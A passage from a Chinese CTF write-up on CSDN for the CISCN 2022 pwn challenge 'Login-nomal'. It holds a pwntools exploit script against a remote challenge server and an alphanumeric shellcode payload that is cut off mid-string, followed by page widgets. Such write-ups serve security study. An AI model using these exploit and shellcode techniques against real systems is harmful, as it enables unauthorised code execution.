2022 CISCN 初赛pwn完整wp

本文详细介绍了CISCN 2022初赛PWN题目的解题思路,涉及Login-nomal和Satool两个部分。Login-nomal中利用call rdx执行shellcode,通过整型溢出控制堆内存,泄露libc信息。Satool通过分析LLVM PASS,理解其JIT编译IR到shellcode的过程,利用缓冲区溢出和指令限制构造payload,最终实现远程代码执行。
摘要由CSDN通过智能技术生成

把前几天写的wp整理一下合成一篇文章发出来

Login-nomal

先进入root模式然后直接进入backdoor执行shellcode,要求shellcode是可见字符,且是用call rdx调用的,直接AE64生成一下就行

from re import L
from pwn import *
from ctypes import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch='amd64'
#io=process("./pwn")
#io = process(['./pwn'],env={"LD_PRELOAD":"./libc64.so"})
#elf=ELF('./pwn')
io = remote('59.110.24.117',33320)
libc = ELF('./libc-2.33.so')
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
rn = lambda x            : io.recvn(x)
sn = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
irt = lambda            : io.interactive()
dbg = lambda text=None  : gdb.attach(io, text)
# lg = lambda s,addr        : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
lg = lambda s            : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data        : u32(data.ljust(4, b'\x00'))
uu64 = lambda data        : u64(data.ljust(8, b'\x00'))
#gdb.attach(io,'b*$rebase(0xe64)\nb*$rebase(0xe64)')
payload='opt:1 \nmsg:ro0t\r\n'
shellcode = '''
TAYAXVI31VXPP[_Hc4:14:SX-}/?w-x0An5C+{(P^14:WX-@``?-@??_-|``aP_Hc4:14:SX-]oN}-08/P5;W-vP^14:WX-@``?-@??_-|``aP_Hc4:14:SX-!/o>-uTX 5Xtp(P^14:WX-@``?
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值